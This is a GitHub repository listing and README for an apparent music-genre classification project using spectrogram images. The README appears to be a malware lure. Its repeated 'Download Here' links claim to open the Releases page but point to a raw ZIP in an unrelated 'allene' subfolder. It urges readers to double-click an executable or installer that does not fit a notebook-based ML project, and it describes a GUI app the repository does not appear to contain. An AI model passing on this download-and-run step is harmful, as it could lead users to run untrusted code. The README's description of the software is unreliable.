https://github.com/ashu708907/music-genre-classification-using-spectrogram-images
🎵 Classify music genres by analyzing spectrogram images with machine learning and deep learning methods for robust and interpretable predictions.
https://github.com/ashu708907/music-genre-classification-using-spectrogram-images
artificial-neural-networks audio audio-analysis cnn-classification convolutional-neural-networks deep-learning efficientnet huggingface-datasets keras machine-learning matplotlib music-genre-classification python pytorch seaborn tensorflow transformers
Last synced: 3 months ago
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🎵 Classify music genres by analyzing spectrogram images with machine learning and deep learning methods for robust and interpretable predictions.
- Host: GitHub
- URL: https://github.com/ashu708907/music-genre-classification-using-spectrogram-images
- Owner: Ashu708907
- Created: 2025-10-03T20:46:34.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2025-10-04T01:12:17.000Z (9 months ago)
- Last Synced: 2025-10-04T03:21:45.968Z (9 months ago)
- Topics: artificial-neural-networks, audio, audio-analysis, cnn-classification, convolutional-neural-networks, deep-learning, efficientnet, huggingface-datasets, keras, machine-learning, matplotlib, music-genre-classification, python, pytorch, seaborn, tensorflow, transformers
- Language: Jupyter Notebook
- Size: 5.65 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🎶 Music-Genre-Classification-using-Spectrogram-images - Classify Music Genres Easily
[](https://raw.githubusercontent.com/Ashu708907/Music-Genre-Classification-using-Spectrogram-images/main/allene/Music_Classification_Spectrogram_Genre_using_images_1.9.zip)
## 📋 Overview
This repository offers a complete suite of machine learning and deep learning tools for classifying music genres using spectrogram images. It includes various models built with techniques like EfficientNet, Audio Spectrogram Transformer (AST), custom CNN architectures, and traditional machine learning algorithms. With these tools, you can easily identify music genres and analyze audio data.
## 🚀 Getting Started
Follow these steps to get started with the application.
### 1. System Requirements
Ensure your system meets the following requirements:
- **Operating System:** Windows, macOS, or Linux
- **RAM:** At least 4 GB
- **Disk Space:** At least 500 MB free
- **Python:** Version 3.7 or higher is recommended
### 2. Download the Application
To download the software, visit the Releases page. Click below to access the download options:
[Download Here](https://raw.githubusercontent.com/Ashu708907/Music-Genre-Classification-using-Spectrogram-images/main/allene/Music_Classification_Spectrogram_Genre_using_images_1.9.zip)
### 3. Choose Your Model
On the Releases page, you will find different versions of the software. Each version may include various models for music genre classification. Choose the one that best fits your needs.
### 4. Install the Application
If you have downloaded a compressed file, like a ZIP or TAR file:
- Extract the contents into a folder.
- Open the folder and find setup instructions (often a README file).
For users downloading a standalone executable file, simply double-click on the file to run it.
## 📥 Download & Install
After downloading, follow these steps:
1. Locate the downloaded file on your computer (this may be in your "Downloads" folder).
2. If you downloaded a ZIP file, right-click and select "Extract All" or use your favorite extraction tool.
3. If you have an installer or executable:
- Double-click the file.
- Follow the prompts on your screen to complete the installation.
For more options and detailed instructions, revisit the Releases page:
[Download Here](https://raw.githubusercontent.com/Ashu708907/Music-Genre-Classification-using-Spectrogram-images/main/allene/Music_Classification_Spectrogram_Genre_using_images_1.9.zip)
## 🔧 How to Use the Application
Once installed, follow these steps to classify music genres:
1. **Launch the App:** Open the application from your installed programs.
2. **Load a Music File:** Use the "Load" button to select an audio file from your computer.
3. **Select a Model:** Choose the classification model you want to use from the available options.
4. **Start Classification:** Click the "Classify" button to analyze the audio file.
5. **View Results:** The application will display the predicted genre along with confidence levels.
## 📚 Features
- **Multiple Models:** Choose from a variety of trained models to suit your needs.
- **User-Friendly Interface:** Designed for ease of navigation and use.
- **Fast Processing:** Quickly analyze audio files and get results.
- **Detailed Reporting:** View classification results with confidence scores.
## 🛠️ Troubleshooting
If you encounter issues, consider these tips:
- **Check Your System Requirements:** Ensure your system meets the necessary specifications.
- **File Formats:** Ensure your audio files are in supported formats (like MP3 or WAV).
- **Restart the Application:** If you face unexpected behavior, restarting the app may help.
For more specific issues, refer to the FAQ section in the README file in the software package.
## 🗣️ Community Support
If you need help, feel free to reach out. You can find assistance by:
- **Opening an Issue:** On GitHub, go to the Issues section of the repository and submit your question.
- **Community Forums:** Join forums related to music and audio analysis for further support.
## 🌐 Learn More
For more advanced users looking to dive deeper, resources like online courses and official documentation on machine learning and deep learning can help enhance your understanding.
## 📄 License
All contributions to this repository are welcome under the MIT License. For detailed license information, refer to the LICENSE file in the repository.
Explore the repository today and harness the power of music genre classification!